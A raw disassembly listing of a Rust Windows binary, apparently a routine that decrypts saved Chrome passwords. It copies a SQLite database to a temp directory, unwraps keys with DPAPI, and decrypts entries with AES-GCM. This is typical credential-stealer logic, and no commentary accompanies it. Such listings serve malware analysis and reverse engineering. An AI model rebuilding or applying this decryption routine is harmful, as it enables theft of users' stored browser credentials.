call sym.core::slice::__LT_impl_u20__u5b_T_u5d__GT_::copy_from_slice::h5afc9423603c5491
add esp, 0xc
mov byte [esp + 0x52f], 1
xor edi, edi
movsd xmm0, qword [esp + 0x520]
movsd qword [esp + 0x110], xmm0
movq xmm0, qword [esp + 0x528]
movq qword [esp + 0x118], xmm0
pxor xmm0, xmm0
movdqa xmmword [esp + 0x520], xmm0
cmp edi, 0x10
je 0x1001695e
mov ecx, edi
mov edx, esi
push 0x10168a90
push 0x10
call sym.__ZN110__LT_core..ops..range..RangeFrom_LT_usize_GT__u20_as_u20_core..slice..index..SliceIndex_LT__u5b_T_u5d__GT__GT_5index17h
pop ecx
pop ecx
mov ecx, eax
push 0x10168aa0
push 4
call sym.core::slice::index::__LT_impl_u20_core..ops..index..Index_LT_I_GT__u20_for_u20__u5b_T_u5d__GT_::index::h1b5e887f671f0192
pop ecx
pop ecx
cmp edx, 4
jne 0x100170e3
mov eax, dword [eax]
cmp edi, 0xc
mov ecx, eax
bswap ecx
cmovne ecx, eax
mov dword [esp + edi + 0x520], ecx
add edi, 4
jmp 0x10016916
movsd xmm0, qword [esp + 0x520]
movsd xmm1, qword [esp + 0x528]
lea edi, [esp + 0x34]
lea esi, [esp + 0x700]
lea ebx, [esp + 0xa0]
mov ecx, ebx
movsd qword [edi + 8], xmm1
movsd qword [edi], xmm0
mov dword [esp + 0x30], esi
and dword [esp + 0x44], 0
call fcn.1000d87a
mov al, byte [0x10163004]
cmp al, 1
jne 0x100169b1
mov ecx, esi
mov edx, edi
push ebx
call sym.__LT_aes..autodetect..Aes256_u20_as_u20_cipher..block..BlockEncrypt_GT_::encrypt_with_backend::inner::hb97e32129781e76f
pop eax
jmp 0x10016a0c
lea ebx, [esp + 0x90]
mov edx, edi
mov ecx, ebx
call sym.__LT_ctr..flavors..ctr32..Ctr32BE_u20_as_u20_ctr..flavors..CtrFlavor_LT_B_GT__GT_::next_block::h21c12ba499b1ba97
lea edi, [esp + 0x140]
mov ecx, edi
call fcn.1000d82d
mov ecx, edi
mov edx, ebx
call sym.generic_array::functional::FunctionalSequence::map::h5553dff162720002
lea ecx, [esp + 0x520]
mov edx, esi
push edi
call sym.aes::soft::fixslice::aes256_encrypt::h86df162810bd2f74
pop eax
movsd xmm0, qword [esp + 0x520]
movsd xmm1, qword [esp + 0x528]
movsd qword [esp + 0xa8], xmm1
movsd qword [esp + 0xa0], xmm0
movsd xmm0, qword [esp + 0x40]
movsd xmm1, qword [esp + 0x38]
lea eax, [esp + 0x2c0]
lea esi, [esp + 0x2a0]
mov edx, str._rustc_07dca489ac2d933c78d3c5158e3f43beefeb02celibrarycore_srccharmethods.rs_
mov ecx, esi
movsd qword [esp + 0x2b0], xmm0
movsd xmm0, qword [esp + 0x30]
movsd qword [esp + 0x2a8], xmm1
movsd xmm1, qword [esp + 0xa8]
movsd qword [esp + 0x2a0], xmm0
movsd xmm0, qword [esp + 0xa0]
movsd qword [eax], xmm1
movsd qword [eax - 8], xmm0
movsd xmm0, qword [esp + 0x2b0]
movsd xmm1, qword [esp + 0x2a8]
movsd qword [esp + 0x80], xmm0
movsd xmm0, qword [esp + 0x2a0]
movsd qword [esp + 0x78], xmm1
movsd xmm1, qword [eax]
movsd qword [esp + 0x70], xmm0
movsd xmm0, qword [eax - 8]
movsd qword [esp + 0x108], xmm1
movsd qword [esp + 0x100], xmm0
mov al, byte [0x10163080]
movaps xmm0, xmmword [esp + 0x8e0]
movaps xmm1, xmmword [esp + 0x8f0]
movaps xmmword [esp + 0x2a0], xmm0
movaps xmmword [esp + 0x2b0], xmm1
push 0
call sym.universal_hash::UniversalHash::update_padded::hb1ce1a6308831f3a
pop eax
mov ecx, esi
mov esi, dword [esp + 0xc0]
mov edx, dword [esp + 0x10]
push esi
call sym.universal_hash::UniversalHash::update_padded::hb1ce1a6308831f3a
pop eax
lea ebx, [esp + 0x30]
lea edi, [esi*8]
shr esi, 0x1d
mov ecx, ebx
call fcn.1000d87a
mov ecx, ebx
push 0x10
pop edx
push 0x101689ec
push 8
pop ebx
push ebx
call sym.__ZN4core5slice5index77__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u5d__GT_9index_mut17h24139bf189b22
pop ecx
pop ecx
and dword [esp + 0x524], 0
and dword [esp + 0x520], 0
mov ecx, eax
push 0x101689fc
push ebx
lea ebx, [esp + 0x528]
push ebx
call sym.core::slice::__LT_impl_u20__u5b_T_u5d__GT_::copy_from_slice::h5afc9423603c5491
add esp, 0xc
bswap esi
bswap edi
lea ecx, [esp + 0x2a0]
mov edx, ebx
mov dword [esp + 0x3c], edi
mov dword [esp + 0x38], esi
movsd xmm0, qword [esp + 0x38]
movq xmm1, qword [esp + 0x30]
movsd qword [esp + 0x528], xmm0
movq qword [esp + 0x520], xmm1
push 1
call sym.__ZN87__LT_polyval..backend..autodetect..Polyval_u20_as_u20_universal_hash..UniversalHash_GT_19update_with_backend17h24cca272a
pop eax
movdqa xmm0, xmmword [esp + 0x2b0]
mov al, byte [0x10163080]
cmp al, 1
je 0x10016c29
pxor xmm1, xmm1
xor esi, esi
pshufd xmm4, xmm0, 0x55
pshufd xmm2, xmm0, 0xee
pshufd xmm3, xmm0, 0xff
movd dword [esp + 0x520], xmm0
movd dword [esp + 0x524], xmm4
movd dword [esp + 0x528], xmm2
movdqa xmmword [esp + 0x140], xmm1
movd dword [esp + 0x52c], xmm3
push 0x10
pop edi
push 4
pop ebx
test edi, edi
je 0x10016c20
mov eax, dword [esp + esi + 0x520]
cmp edi, 4
mov edx, ebx
lea ecx, [esp + esi + 0x140]
cmovb edx, edi
mov dword [esp + 0xa0], eax
push 0x101b7e54
push 4
lea eax, [esp + 0xa8]
push eax
call sym.core::slice::__LT_impl_u20__u5b_T_u5d__GT_::copy_from_slice::h5afc9423603c5491
add esp, 0xc
add esi, 4
add edi, 0xfffffffc
jmp 0x10016be0
movdqa xmm0, xmmword [esp + 0x140]
movdqa xmmword [esp + 0x520], xmm0
push 0x10
pop ebx
lea ecx, [esp + 0x520]
call sym.core::slice::__LT_impl_u20__u5b_T_u5d__GT_::reverse::he323b66f47a7beed
movdqa xmm0, xmmword [esp + 0x520]
movdqa xmmword [esp + 0x140], xmm0
push 0xfffffffffffffff0
pop eax
test eax, eax
je 0x10016c6b
mov cl, byte [esp + eax + 0x110]
xor byte [esp + eax + 0x150], cl
inc eax
jmp 0x10016c56
movdqa xmm0, xmmword [esp + 0x140]
lea ecx, [esp + 0x90]
mov edx, ebx
movdqa xmmword [esp + 0x90], xmm0
push 0x10168af0
push 0x10
call sym.core::slice::index::__LT_impl_u20_core..ops..index..Index_LT_I_GT__u20_for_u20__u5b_T_u5d__GT_::index::h1b5e887f671f0192
pop ecx
pop ecx
cmp edx, 0x10
mov dword [esp], eax
jne 0x10016cd2
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xb0]
mov bl, 1
lea edi, [eax + ecx]
push 0xfffffffffffffff0
pop esi
test esi, esi
je 0x10016cd4
mov al, byte [edi + esi]
mov ecx, dword [esp]
xor al, byte [ecx + esi + 0x10]
xor ecx, ecx
mov edx, eax
neg dl
or dl, al
setns cl
call sym.subtle::black_box::h2e57157a8a824b42
and bl, al
inc esi
jmp 0x10016caf
xor ebx, ebx
movzx ecx, bl
call sym.subtle::black_box::h2e57157a8a824b42
test al, al
je 0x10016e30
mov ecx, dword [esp + 0xb0]
mov esi, ecx
and esi, 0xf
je 0x10016d03
mov eax, dword [esp + 0x84]
not eax
cmp esi, eax
jae 0x10017214
mov ebx, dword [esp + 0xc0]
mov edi, dword [esp + 0x10]
cmp ebx, 0x11
jb 0x10016d58
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0xc0]
mov eax, ecx
and ecx, 0xfffffff0
mov edi, edx
mov dword [esp + 0x140], edx
mov dword [esp + 0x144], edx
lea edx, [esp + 0x140]
shr eax, 4
add edi, ecx
lea ecx, [esp + 0x70]
mov dword [esp + 0x148], eax
call sym.cipher::stream_core::StreamCipherCore::apply_keystream_blocks_inout::h41af96ca9d326cd1
mov ecx, dword [esp + 0xb0]
mov ebx, esi
test ebx, ebx
je 0x10016de8
lea esi, [esp + 0x2a0]
mov ecx, esi
call fcn.1000d87a
mov ecx, esi
push 0x10
pop edx
push 0x101688f8
push ebx
call sym.__ZN4core5slice5index77__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u5d__GT_9index_mut17h24139bf189b22
pop ecx
pop ecx
mov ecx, eax
push 0x10168908
push ebx
push edi
call sym.core::slice::__LT_impl_u20__u5b_T_u5d__GT_::copy_from_slice::h5afc9423603c5491
add esp, 0xc
lea ecx, [esp + 0x70]
lea edx, [esp + 0x520]
mov dword [esp + 0x520], esi
mov dword [esp + 0x524], esi
mov dword [esp + 0x528], 1
call sym.cipher::stream_core::StreamCipherCore::apply_keystream_blocks_inout::h41af96ca9d326cd1
mov ecx, esi
push 0x10
pop edx
push 0x10168918
push ebx
call sym.core::slice::index::__LT_impl_u20_core..ops..index..Index_LT_I_GT__u20_for_u20__u5b_T_u5d__GT_::index::h1b5e887f671f0192
pop ecx
pop ecx
mov ecx, edi
mov esi, edx
mov edx, ebx
push 0x10168928
push esi
push eax
call sym.core::slice::__LT_impl_u20__u5b_T_u5d__GT_::copy_from_slice::h5afc9423603c5491
mov ecx, dword [esp + 0xbc]
add esp, 0xc
mov edi, dword [esp + 0xc0]
mov eax, dword [esp + 0xe0]
cmp ecx, 0x10
cmovb edi, ecx
cmp eax, 0x80000000
je 0x10016e42
mov esi, dword [esp + 0x10]
mov dword [esp + 0x2a0], eax
mov dword [esp + 0x2a4], esi
mov dword [esp + 0x2a8], edi
mov al, byte [0x10163004]
mov ecx, dword [esp + 0x64]
mov edx, dword [esp + 0x68]
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1e3cb15a61af7b6e
jmp 0x10016e65
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0xe0]
mov edx, edi
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1e3cb15a61af7b6e
lea ecx, [esp + 0x2a0]
lea edx, [esp + 0x64]
call sym.chrome_password::win32_crypt_unprotect_data::hd207ad59fbc277f2
mov al, byte [0x10163004]
mov esi, dword [esp + 0x2a4]
mov edi, dword [esp + 0x2a8]
lea ecx, [esp + 0x700]
mov edx, esi
push edi
call dbg.from_utf8
pop eax
cmp dword [esp + 0x700], 0
jne 0x10017166
mov edi, dword [esp + 0x708]
mov esi, dword [esp + 0x704]
mov ecx, edi
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::allocate_in::h24ca61b25c7d0029
mov ebx, edx
mov dword [esp], eax
push edi
push esi
push edx
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov ecx, dword [esp + 0x2a0]
mov edx, dword [esp + 0x2a4]
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1e3cb15a61af7b6e
mov al, byte [0x1022a138]
push 0x24
pop ecx
push 4
pop edx
call sym.___rust_alloc
test eax, eax
je 0x10017196
mov esi, eax
mov eax, dword [esp + 0x130]
mov ecx, dword [esp]
mov dword [esi + 8], eax
movsd xmm0, qword [esp + 0x128]
movsd qword [esi], xmm0
movq xmm0, qword [esp + 0x134]
movq qword [esi + 0xc], xmm0
mov eax, dword [esp + 0x13c]
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], ecx
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x20], edi
mov edx, dword [esp + 0x60]
cmp edx, dword [esp + 0x58]
jne 0x10016f27
lea ecx, [esp + 0x58]
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::reserve_for_push::hd0394231b9f1b00b
mov edx, dword [esp + 0x60]
mov ebx, dword [esp + 0x54]
mov eax, dword [esp + 0x5c]
imul ecx, edx, 0xc
push 3
pop edi
mov dword [eax + ecx], edi
mov dword [eax + ecx + 4], esi
mov dword [eax + ecx + 8], edi
inc edx
jmp 0x10015c2d
mov edi, eax
cmp eax, 0x65
jne 0x1001711f
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0xd8]
movsd xmm0, qword [esp + 0x58]
mov dword [ecx + 8], eax
movsd qword [ecx], xmm0
push ebx
call sym._sqlite3_finalize
pop ecx
mov ecx, dword [esp + 0xd4]
mov edx, dword [esp + 0x50]
call sym.__ZN4core3ptr130drop_in_place_LT_core..result..Result_LT__LP__RP__C_alloc..boxed..Box_LT_dyn_u20_core..any..Any_u2b_core..mark
push 0
push 0
mov edi, dword [esp + 0x34]
push edi
call sym._sqlite3_busy_handler
add esp, 0xc
test eax, eax
je 0x10017021
mov edx, edi
lea edi, [esp + 0x700]
mov esi, eax
mov ecx, edi
call sym.sqlite::last_error::h93086333f38fdeb3
cmp dword [edi], 2
jne 0x10016fd3
mov edi, dword [esp + 0x2c]
mov dword [esp + 0x2a0], 1
mov dword [esp + 0x2a4], esi
mov dword [esp + 0x2a8], 0x80000000
jmp 0x10017013
movsd xmm0, qword [esp + 0x700]
movq xmm1, qword [esp + 0x708]
mov eax, dword [esp + 0x710]
mov edi, dword [esp + 0x2c]
movsd qword [esp + 0x2a0], xmm0
mov dword [esp + 0x2b0], eax
movq qword [esp + 0x2a8], xmm1
cmp dword [esp + 0x2a0], 2
je 0x10017021
lea eax, [esp + 0x2a0]
push eax
call sym.core::ptr::drop_in_place_LT_sqlite..Error_GT_::hed3c69adef3b4d54
pop eax
push edi
call sym._sqlite3_close
pop ecx
mov edx, dword [esp + 0x50]
xor ecx, ecx
call sym.__ZN4core3ptr130drop_in_place_LT_core..result..Result_LT__LP__RP__C_alloc..boxed..Box_LT_dyn_u20_core..any..Any_u2b_core..mark
lea esi, [esp + 0x290]
mov ecx, esi
call sym.__LT_tempdir..TempDir_u20_as_u20_core..ops..drop..Drop_GT_::drop::hcdcaf9653b6e11a0
mov ecx, dword [esi]
cmp ecx, 0x80000000
je 0x10017057
mov edx, dword [esp + 0x294]
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h1e3cb15a61af7b6e
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, esi
push 0x1016765c
call dbg.panic_bounds_check
mov eax, dword [esp + 0x140]
and dword [esp + 0x2a4], 0
mov dword [esp + 0x2ac], eax
mov dword [esp + 0x2a0], 2
push 2
pop esi
jmp 0x100170d7
mov eax, dword [esp + 0x710]
movq xmm0, qword [esp + 0x700]
movq xmm1, qword [esp + 0x708]
mov dword [esp + 0x2b0], eax
movq qword [esp + 0x2a8], xmm1
movq qword [esp + 0x2a0], xmm0
push dword [esp + 0x140]
call sym._sqlite3_close
pop ecx
mov esi, dword [esp + 0x2a0]
lea edi, [esp + 0x700]
jmp 0x10015ae4
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10168ab0
push 0x101683a8
lea eax, [esp + 0x148]
push eax
call dbg.unwrap_failed
and dword [esp + 0x700], 0
lea eax, [esp + 0x700]
lea ecx, [esp + 0x2a0]
mov edx, 0x101682dc
jmp 0x10017160
mov edx, dword [esp + 0x4c]
lea esi, [esp + 0x700]
mov ecx, esi
call sym.sqlite::last_error::h93086333f38fdeb3
mov eax, dword [esi]
cmp eax, 2
jne 0x100171a1
xor eax, eax
mov ecx, 0x80000000
inc eax
jmp 0x100171cb
and dword [esp + 0x2a0], 0
lea eax, [esp + 0x2a0]
lea ecx, [esp + 0x520]
mov edx, 0x101682e0
push eax
call sym.core::panicking::assert_failed::h2ac24fe949ba5a03
movq xmm0, qword [esp + 0x704]
movq qword [esp + 0x520], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10168cd4
push 0x101683c8
lea eax, [esp + 0x528]
jmp 0x100170fc
push 4
pop ecx
push 0x24
pop edx
call dbg.handle_alloc_error
mov edx, dword [esp + 0x70c]
mov ebx, dword [esp + 0x710]
mov edi, dword [esp + 0x704]
mov ecx, dword [esp + 0x708]
mov dword [esp + 0x2a4], ebx
mov dword [esp + 0x2a0], edx
mov dword [esp + 0x700], eax
mov dword [esp + 0x704], edi
mov dword [esp + 0x708], ecx
mov eax, dword [esp + 0x2a0]
mov ecx, dword [esp + 0x2a4]
mov dword [esp + 0x710], ecx
mov dword [esp + 0x70c], eax
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10168ca4
push 0x10168398
push esi
call dbg.unwrap_failed
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x101688e8
push 0x101683b8
jmp 0x100170f5
mov eax, dword [esp + 0x2b0]
movsd xmm0, qword [esp + 0x2a0]
movsd xmm1, qword [esp + 0x2a8]
mov dword [esp + 0x710], eax
movsd qword [esp + 0x708], xmm1
movsd qword [esp + 0x700], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10168c44
push 0x10168398
push edi
call dbg.unwrap_failed
lea edx, [esp + 0x700]
lea esi, [esp + 0x2a8]
mov dword [edx], str.failed_to_process_a_string
mov dword [edx + 4], 1
and dword [edx + 0x10], 0
mov dword [edx + 8], str._rustc_07dca489ac2d933c78d3c5158e3f43beefeb02celibrarycore_srccharmethods.rs_
and dword [edx + 0xc], 0
mov ecx, esi
call sym.__ZN5alloc3fmt6format17h89356f2389f6f651E.63
and dword [esi - 8], 0
lea ecx, [esp + 0x520]
call sym.__ZN4core3ptr105drop_in_place_LT_core..result..Result_LT_alloc..ffi..c_str..CString_C_alloc..ffi..c_str..NulError_GT__GT_17h37
jmp 0x100172e1
mov ecx, dword [esp + 0x10]
mov edx, dword [esp]
mov dword [esp + 0x2a0], 1
mov dword [esp + 0x2a4], ebx
mov dword [esp + 0x2a8], 0x80000000
call sym.core::ptr::drop_in_place_LT_alloc..ffi..c_str..CString_GT_::h05ffb32a7d7730ed
mov eax, dword [esp + 0x2b0]
movq xmm0, qword [esp + 0x2a0]
movq xmm1, qword [esp + 0x2a8]
mov dword [esp + 0x710], eax
movq qword [esp + 0x708], xmm1
movq qword [esp + 0x700], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10168c94
push 0x10168398
lea eax, [esp + 0x708]
jmp 0x100170fc